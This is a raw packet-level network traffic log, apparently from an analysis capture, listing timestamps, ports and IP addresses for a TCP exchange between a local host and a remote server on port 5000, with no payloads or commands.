Dec 18, 2024 11:40:31.650892973 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.650981903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.651215076 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.651990891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.652009010 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.652055979 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.652898073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.653930902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.653943062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.653983116 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.655509949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.655585051 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.663264036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.663326979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.663403034 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.663634062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.664020061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.664545059 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.664793968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.664911985 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.664966106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.665970087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.706787109 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.797327042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.797343016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.797467947 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.797740936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.797754049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.797808886 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.798567057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.799551964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.799562931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.799596071 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.800678015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.800688982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.800821066 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.801668882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.801680088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.801757097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.801877022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.802661896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.802673101 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.802721024 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.803639889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.803652048 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.803709030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.804600954 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.804613113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.804676056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.805747986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.805759907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.805803061 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.806771994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.806785107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.806828022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.807692051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.807706118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.807744980 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.808656931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.808669090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.808726072 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.809648037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.809659004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.809710026 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.810590982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.810604095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.810658932 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.811633110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.811645031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.811701059 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.812552929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.812563896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.812629938 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.813652039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.813663960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.813873053 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.814661026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.814671040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.814712048 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.815709114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.815720081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.815788984 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.816904068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.816915989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.816955090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.817820072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.817831039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.817893982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.818675995 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.818687916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.818744898 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.819572926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.819586039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.819677114 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.820483923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.820494890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.820537090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.821492910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.821508884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.821559906 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.822619915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.822632074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.822689056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.823412895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.824426889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.824438095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.824471951 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.825385094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.825396061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.825433969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.826329947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.826381922 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.826414108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.826540947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.826637030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.827361107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.827584028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.827670097 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.828572989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.828588009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.828665972 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.829396963 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.829777956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.829833031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.830368042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.830749989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.830801010 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.831347942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.831531048 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.831572056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.832371950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.832427025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.832478046 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.833319902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.833493948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.833544016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.834678888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.834696054 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.834811926 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.835664988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.835678101 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.835711002 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.836822033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.836836100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.836894035 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.837512016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.837524891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.837615967 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.838264942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.838576078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.838618040 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.839355946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.839401960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.839448929 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.840528011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.840539932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.840698004 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.841465950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.841476917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.841531992 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.842464924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.842477083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.842616081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.843238115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.843439102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.843574047 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.844404936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.844485998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.844540119 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.845468998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.845480919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.845550060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.854718924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.854731083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.854742050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.854811907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.854856968 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.854856968 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.855523109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.855678082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.855784893 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.856457949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.856519938 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.856585979 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.988411903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.988485098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.988542080 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.989052057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.989067078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.989716053 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.989746094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.989763975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.990143061 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.990624905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.990637064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.990681887 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.991723061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.991735935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.991785049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.993379116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.993678093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.993738890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.994668961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.994680882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.995338917 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.995554924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.995567083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.996392012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.996402979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.996454000 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.996454000 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.997350931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.997363091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.998001099 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.998209000 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.998220921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.998265028 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.999067068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.999078989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.999155045 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.999800920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.999814034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.999897003 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.000674963 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.001576900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.001589060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.001631021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.001674891 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.001674891 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.002729893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.002748013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.002791882 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.003633976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.003647089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.004594088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.004611969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.004642963 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.004666090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.005628109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.005640030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.005744934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.006582975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.006594896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.006640911 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.007545948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.007560015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.007664919 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.008573055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.008928061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.008976936 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.009638071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.009649992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.009957075 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.010745049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.011051893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.011106968 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.011759996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.011771917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.011836052 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.012629986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.012885094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.013102055 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.013729095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.013741970 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.013792038 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.014544964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.014558077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.014616013 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.015439987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.016380072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.016393900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.016431093 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.017234087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.017335892 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.017504930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.017517090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.017549038 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.018573046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.018584967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.018656969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.019524097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.019536018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.019648075 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.020646095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.020931005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.020973921 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.021671057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.021717072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.021760941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.022610903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.022623062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.022663116 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.023574114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.023587942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.023648977 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.024502039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.024514914 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.024565935 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.025450945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.025463104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.025506973 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.026426077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.026451111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.026495934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.027455091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.027467966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.027508974 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.028387070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.028841972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.028894901 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.029576063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.029589891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.029633045 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.030543089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.030555964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.030591011 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.031465054 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.031476974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.031517029 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.032313108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.032502890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.032572031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.033453941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.033466101 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.033535957 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.034291029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.034303904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.034341097 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.035365105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.035377979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.035430908 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.036294937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.036317110 CET	5000	49705	194.59.30.220	192.168.2.5
